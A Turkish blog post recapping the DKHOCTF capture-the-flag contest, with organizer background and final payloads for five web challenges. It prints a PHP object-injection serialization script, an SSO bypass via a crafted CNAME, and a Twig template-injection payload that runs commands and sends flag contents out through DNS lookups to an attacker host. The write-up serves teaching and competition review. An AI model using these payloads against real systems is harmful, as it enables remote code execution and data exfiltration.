DKHOCTF – Perde Arkası, Analizler ve Web Çözümleri

Merhaba arkadaşlar,

Güzel bir yarışmanın sonuna geldik. Dolu dolu geçen 3 gün boyunca; toplamda 571 takım, bu takımların mensubu olan 1500+ katılımcı, 7 farklı kategoride sorulmuş 35 soru karşısında ter döktü.

INVICTUS kimdir ? Prodaft Nedir ?

4 yıl önce Dünyayı Kurtaran Hacker yarışmasını düzenleyen aynı firma. İlk olarak sektörde PRODAFT olarak, ardından kısa bir süre IntelRAD ve şu anda da INVICTUS olarak anılmakta olan güvenlik firması. Yani biz. Bizim aile. ( Neden bu kadar isimler geldi geçti ? sorusu ise ap ayrı bir hikaye. Ah güzel ülkemin, güzel olayları. )

Perde Arkası

Son 1 yıldır ufak ufak kendi bloğum üzerinden CTF’ler (MdiseCTF serisi) organize etmekte, basit ve küçük hediyeler vermekteyim. Bu mini CTF serilerinde ise gerçek hayatta karşıma çıkan durumları konu almaktaydım. Gene geçtiğimiz ayın ortalarında pentest’te karşıma çıkan bir case olmuştu. Bende vaktimi ayırıp CTF level’ını hazırladım ve Can’ı aradım. Dedim böyle böyle, ne hediye verelim firma olarak ? Başladık uzun uzun konuşmaya, kalem silgiden başlayan hediye muhabbeti XBOX ile son buluyordu. 40 dk sonunda kararımız şu oldu; Hadi gençler kalkın CTF düzenliyoruz. 

Amacımız neydi ? Motivasyonumuz nedir ?

Hiçbir sponsor kabul etmeden ( Evet hala niye portal sayfasında sponsorlar sekmesi var diye hepimiz düşünüyoruz… ) ana yükleniliciği biz yaptık bu CTF’in. INVICTUS firması olarak 12 kişilik bir CTF ekibi kuruldu ve 35 tane soru hazırladık bir haftada. Deployment’lar yapıldı. Kontroller sağlandı. Bu sürede firmanın normal iş akışına zaiyat vermemek adına, CTF soruları üzerine sabahları çalışıldı ( Evet, normalde bizim ekip zaten gece çalışıyor. ) .

Bu tür CTF’leri organize etmek amacımız ve heyecanımızın özeti şu cümledir. “Hacker mindset’i nedir ? Nasıl geliştirilir ? ” 35 sorunun hemen hemen tamamının, farklı ve öğretici sorulardan oluşmasının nedeni budur.

Bir diğer, şahsen benim için önemli olan husus ise genç kazanımlardır. Siber güvenlik alanında çalışmak isteyen tüm genç ve hevesli insanlar için efsane bir fırsat yaratma çabasıydı. Bizler başta olmak üzere ülkemizde ki tüm siber güvenlik firmaları DKHOCTF yarışmasının kalitesini biliyor yada duydu. Burada bir şeyler başarabilmiş olmak, zone-h.org kayıtlarınızın sayısından çok daha iyi ve güven teşkil eden bir başarıdır.

CTF’in temel amacı ?

Sizlere amacımız hem eğlendirmek, hemde bir şeyler öğretmekti. Hatta @dkhoctf twitter hesabını kullanırken seçtiğimiz hitabet şeklide tamamen bu nedenden ötürü “dalga geçer” moddaydı.

Hemen hemen her level, sizleri zorlamayı. Zorlandıkça öğrenmeyi ama en önemliside farklı düşünmeyi öğretme hedefindeydi. Bu konuda özellikle benim tarafımdan hazırlanmış soruları kaleme alalım. Detaylı adım adım çözümler değil, final payload’lar paylaşılacaktır. Neden ? Nasıl ? olduğunu önümüzdeki 24 saat aynı ortamlarda test edebilirsiniz. Düşüncelerinizi yorum olarak yazabilir, sorularınızı gene aynı şekilde sorabilirsiniz. Sunucular yarın kapatılacaktır.

Web 100

Amaç: pentest sırasında karşılaştığınız spesifik pattern’leri github.com adresinde araştırmayı öğretmek.

Toplam çözen : 5 takım!!!!!!!!!!!!!!!!!!!

Adrese giriş yapıldığında http://52.58.175.243/index.php?option=com_farukeczanesi yönlendirme yapıldı. Tek yapmanız gereken github.com’da arama yapmaktı.

Web 100

Görüldüğü üzere bir adet repo var. Yazılımcılar tarafından yapılan en sık hata, secret key vb gibi hassas bilgileri github.com’da ifşa etmektir. Bunu bildirdiğinizde ise içeriği silip tekrardan commit ederler. Buda ikinici sık yapılan hatadır. Çünkü tüm değişiklikler repo’nun commit’leri üzerinden görüntülenebilir. Zaten gördüğünüz üzere flag.txt’nin içerisi boştu. Onu boşaltan commit ve aynı zamanda gerçek flag ise aşağıdaki şekilde görülebilir.

web 100

Web 200

Amaç: CSP bypass. Tüm herkes <script>alert(1)</script> farkındadır. Birazcıkta mitigation noktasında bilgi birikimini sınamak istedik.

Toplam çözen : 25 takım

Açıkca belirteyim, yarışma başlamadan 2 saat kadar önce CSP rule’larınde güncelleme yapıp amazonaws.com ekledim. Aslında *.appspot.com üzerinden çözüm üretilmesini bekleyecektik lakin zaten Web100’ü sonra açmaya karar vermiştik. Tüm Türkiye’nin hacker’larının master degree olduğu web sorularında zorlanarak başlamalarını istemedik.

Çok söze gerek yok.

Form alanına amazon cloud üzerinden açacağınız ucuz bir EC2 sunucusunun public DNS adresine redirection yapan JS kodu yazmanızdı. Flag max 15 dk içerisinde loglarınızda gözükecekti.

Web 300

Amaç: Yeni atak vektörlerini öğrenmek.

Çözen Takım: 14

PHP Object Injection’ı daha önce bu blogda kaleme almıştım.

İlk adım olarak /backup.zip dosyası indirilmeliydi. Ardından aşağıdaki kodun ürettiği sonuç COOKIE üzerinden sisteme gönderilerek flag elde edilecekti

<?php
class Process
{
    protected $pid, $lock, $cmdname;

    function __construct()
    {
        $this->lock = True;
        $this->pid = "../var/www/html";
        $this->cmdname= "flag.txt";
    }

    function close(){

    }
}

class Session
{
    protected $name, $lastname, $handle;

    function __construct()
    {
        $this->name = "1";
        $this->lastname = "2";
        $this->handle = new Process();
    }

    function __destruct()
    {
        $this->_destroy();
    }

    function _destroy(){
        // TODO: Look at the scrum board.
        $this->handle->close();
    }

}


echo base64_encode(serialize(new Session()));

Web 400

Amaç: SSO mekanizmalarına karşı test case’leri tanıtmak.

Toplam çözen: 1 takım

Bu soruda api.php adresine gönderilen sso parametresinde kontrol yapılmaktaydı. Lakin kontrol yetersizdi. http://sso.prodaft.rocks.mehmetince.net şekliden gönderilen bir URL verification’dan geçmekte ve sunucu bu adrese internal HTTP talebi göndermekteydi.

İşin güzel yanı ise bu şekilde bi subdomain tanımı DNS üzerinde yapılabilmektedir. Saldırgan olarak bu CNAME kaydını kendi domaininizde oluşturup CTF sunucusunun gönderdiği talep elde edilir.

Şimdi ise sso.prodaft.com adresinin ne cevap döndüğünü öğrenmekte ? Bir önceki adımda elde edilen HTTP talebinin aynısı http://sso.prodaft.rocks adresine gönderildiğinde dönen cevapta “demo” yazdığı görülür. Demek ki admin.php’e yönlendirildiğinizde kontrol bu şekilde gerçekleşiyor.

CNAME kaydınızı oluşturduğunuz sunucuda apache kurun, index.html’e sadece ve sadece “admin” yazın. BU sadece SSO sunucusu tarafından yapılan verification bypass’lanacak ve admin.php’e demo değil admin user’ı yetkilerinde yönlenmiş olacaksınız.

Web500

Amaç : Yeni zafiyetleri tanıtmak. Kurumsal ortamlarda karşılaşılan outbound önlemler.

Toplam Çözen : 0 takım.

/config.inc okunduğunda secret key görülecektir. Form doldurulduğunda yönlendirilen success.php sayfasında isim, soyisim ve token geçmektedir.

Token = md5(isim + soyisim + secret)

Şeklinde hesaplanır. Bunu kontrol etmeniz gerekir. Yazılımcılar tarafından yapılan en basit integrity kontrolüdür.

isim ve soy isim değişkenlerinde XSS olduğunu göreceksiniz. Lakin web200’de zaten çözdünüz ? prompt.ml çözmüyoruz ki tekrar soralım. Bunu fark edip Server Side Template Injection zafiyeti olduğu tespit edilir.

Araştırmalar sonucu gösterir ki SSTI yani Server Side Template Injection zafiyeti kullanılan template engine’e göre RCE ile sonuçlanabilir. Lakin bilinen basit reverse shell hareketleri sonuçsuz kalacaktır. Çünkü kurumsal uygulamaların önünde ki güvenlik ürünleri outbound yani kurum içerisinden dışarıya yapılan network aktivitelerine sınır getirir. Burada da herhangi bir şekilde TCP kullanan bir protokol kullanmanız reverse shell noktasında imkansızdır. Bind shell içinde zaten durum belirlidir. 22 ve 80’den başka açık olan port yoktur ve bu port’ları dinleyen servisler hali hazırda mevcuttur.

Yapılacak analizler dışarıya 53. UDP’nin açık olduğunu göstermelidir. Bu pentestlerde genellikle karşılaşılan bir durumdur. Peki soru şu, artık elinizdeki RCE zafiyeti tam bir Blind RCE’e dönüşmüştür. Peki flag’i nasıl okuyacağız. Aşağıdaki final payload’ı analiz ediniz.

//SUNUCU TARAFINDA
nc -luv 53

// PAYLOAD
52.58.168.145/success.php?f={{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("for i in $(cat flag.txt); do nslookup $i.hacker.com HACKERIPADRESI; done")}}
&l=asd&t=f0c32fc7517aaf9367175b85d01716e0

Herkese teşekkürler.